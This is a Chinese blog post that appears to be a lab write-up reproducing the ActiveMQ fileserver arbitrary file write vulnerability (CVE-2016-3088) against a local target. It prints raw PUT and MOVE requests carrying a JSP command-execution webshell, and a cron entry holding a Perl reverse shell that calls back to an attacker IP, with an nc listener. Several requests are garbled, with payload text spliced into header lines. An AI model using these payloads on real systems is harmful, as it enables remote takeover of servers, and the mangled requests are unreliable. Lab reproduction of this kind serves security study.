ActiveMQ 任意文件写入漏洞 (CVE-2016-3088)复现实验报告

ActiveMQ 任意文件写入漏洞 (CVE-2016-3088)复现实验报告,第1张

ActiveMQ 任意文件写入漏洞 (CVE-2016-3088)复现实验报告 视频演示

ActiveMQ任意文件写入漏洞(CVE-2016-3088)实验演示_哔哩哔哩_bilibiliBGM:Edge of my lifehttps://www.bilibili.com/video/BV1844y1s78r

参考文章

Vulhub - Docker-Compose file for vulnerability environmenthttps://vulhub.org/#/environments/activemq/CVE-2016-3088/ActiveMQ任意文件写入漏洞(CVE-2016-3088)_skr...的博客-CSDN博客ActiveMQ任意文件写入漏洞(CVE-2016-3088)ActiveMQ介绍:Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring framework等。什么是:消息中间件漏洞简介:ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,ap...https://blog.csdn.net/weixin_44311721/article/details/98085706?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164290873016780366539624%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=164290873016780366539624&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-98085706.first_rank_v2_pc_rank_v29&utm_term=ActiveMQ+%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%BC%8F%E6%B4%9E&spm=1018.2226.3001.4187

ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现_m_ing-CSDN博客漏洞详情漏洞说明#Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring framework等。ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问。漏洞危害#使远程攻击者用恶意代码替代Web应用,https://blog.csdn.net/weixin_43606134/article/details/107435847?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164290873016780366539624%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=164290873016780366539624&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-2-107435847.first_rank_v2_pc_rank_v29&utm_term=ActiveMQ+%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%BC%8F%E6%B4%9E&spm=1018.2226.3001.4187 

Linux 定时任务之crontab使用_托马斯的博客-CSDN博客作者:叶孤心丶转载 链接:https://blog.csdn.net/yeguxin/article/details/79543514有时候需要让系统定时执行一些比较简单的函数,那么就可以借用linux自带的crontab即可实现。1.crontab简介crontab命令常见于Unix和类Unix的 *** 作系统之中,用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于“cro...https://blog.csdn.net/Lin_Hv/article/details/105662561?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164290897416781683963636%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=164290897416781683963636&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~top_positive~default-1-105662561.first_rank_v2_pc_rank_v29&utm_term=crontab&spm=1018.2226.3001.4187 

什么是ActiveMQ??

Apache ActiveMQ 是由美国 Pachitea (Apache) 软件基金会开发的开源消息传递中间件,属于消息队列组件,消息队列是分布式系统中重要的组件,使用消息队列主要是为了通过异步处理提高系统性能和削峰、降低系统耦合性,支持 Java 消息传递服务、集群、Spring 框架等。

ActiveMQ 任意文件写入漏洞原理??

在8161页面管理端口由3个应用,其中admin是管理员页面,api是接口,fileserver是存储文件的接口;admin和api需要登录才能使用,fileserver不需要登录。(默认弱密码admin/admin)

fileserver 是一个 RESTful API 接口。我们可以通过 GET、PUT 和 DELETE 等 HTTP 请求读取和写入其中存储的文件,设计目的是为了弥补消息队列 *** 作无法传输和存储二进制文件的缺陷。

ActiveMQ 在 5.12.x~5.13.x 中默认关闭了 fileserver 应用程序(可以在 conf/jetty.xml 中打开);在 5.14.0 之后,文件服务器应用程序被完全删除。

漏洞出现在Fileserver应用中,攻击者可以使用PUT请求向服务器中写入任意文件,使用MOVE文件移动文件

该漏洞影响的ActiveMQ版本??

5.12.x之前的版本

该漏洞利用限制??

ActiveMQ版本低于5.12.x

漏洞复现 一,写入webshell

好处是方便,但是fileserver不解析jsp,admin和api都需要登录才能访问,所以需要结合弱密码漏洞

刷新页面,burpsuite抓包,并发送到Repeater

 修改请求包并发送

PUT /fileserver/1.txt HTTP/1.1
Host: 192.168.192.135:8161
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,**;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 13 Feb 2015 17:54:40 GMT
Cache-Control: max-age=0
Content-Length: 332

<%@ page import="java.io.*"%>
<%
 out.print("Hello
"); String strcmd=request.getParameter("cmd"); String line=null; Process p=Runtime.getRuntime().exec(strcmd); BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream())); while((line=br.readLine())!=null){ out.print(line+"
"); } %>

响应204,移动文件成功

访问/api/demo.jsp?cmd=ls

 可以执行靶机的系统命令

二,写入crontab,自动化反dshell 什么是crontab?

crontab命令常见于Unix和类Unix的 *** 作系统之中,用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于“crontab”文件中,以供之后读取和执行。crontab储存的指令被守护进程激活, crond常常在后台运行,每一分钟检查是否有预定的作业需要执行。这类作业一般称为cron jobs。

使用PUT请求写入crontab,$i=攻击机IP

PUT /fileserver/1.txt HTTP/1.1
Host: 192.168.192.135:8161
Destination:file:///opt/activemq/webapps/api/demo.jsp
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.192.141";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
## 

 写入成功,使用MOVE请求把1.txt移动到/etc/cron.d/root

 

MOVE /fileserver/1.txt HTTP/1.1
Host: 192.168.192.135:8161
Destination:Destination: file:///etc/cron.d/root
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.192.141";$p=21;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
## 

 开启nc监听

nc -l -p 21

 shell反d成功

写在最后的话 

参考了很多篇相关的文章才完成,若有任何错误或失误的地方,请各位指正

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5718555.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-18
下一篇 2022-12-18

发表评论

登录后才能评论

评论列表(0条)

保存